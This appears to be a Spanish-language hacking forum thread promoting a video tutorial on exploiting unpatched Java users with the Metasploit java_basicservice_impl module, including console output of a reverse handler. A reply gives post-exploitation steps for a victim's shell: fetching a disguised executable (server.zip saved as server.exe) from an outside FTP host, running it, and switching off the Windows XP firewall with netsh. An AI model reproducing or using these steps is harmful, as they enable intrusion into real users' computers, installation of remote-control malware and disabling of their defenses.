hahahahaha que inocencia al usar OPERA, damos click en abrir. XD!

NOTE: don't use java_basicservice_impl in browser autopwn because it doesn't work in an iframe against IE and causes popups in other browsers

Aquí os dejo mi primer videotutorial para que podáis ver como se hace una explotación del exploit de java_basicservice que aun tiene un buen ratio de explotación ya que la mayoría de los usuarios aun no han actualizado a la ultima versión de java (6.22).

Espero que lo disfruteis.

msf exploit(java_basicservice_impl) > exploit -j

• Exploit running as background job.

msf exploit(java_basicservice_impl) >
[-] Handler failed to bind to XX.XX.207.83:5000

• Started reverse handler on 0.0.0.0:5000
[-] Exploit exception: The address is already in use (XX.XX.207.83:5000).

Pero lo de la extensión lo arreglas subiendo al ftp el server.zip ( no comprimido sino solo cambiado la extensión), despues desde la shell pones
ftp ftp.webcindario.com   ( por ejemplo)
te pide para poner usuario, lo pones xD, y cuando pida la password no te asustes si no escribe nada solo escribela y dale a enter. Y despues q estas conectado podes poner:
dir   --> lista los archivos en tu ftp
get server.zip  C:\server.exe

Fijate como hice lo de el cambio de extensiones y despues esperas q lo descargue y luego sales del ftp poniendo el comando: bye

y luego ejecutas el server.exe si es lo q querias hacer..



pd: Pero claro q si usas ftp la pc victima tendra q abrir el puerto 21 pero podes desactivarle el firewall de windows por ejemplo en windows xp q es poniendo en la shell:  %windir%\System32\netsh.exe firewall set opmode disable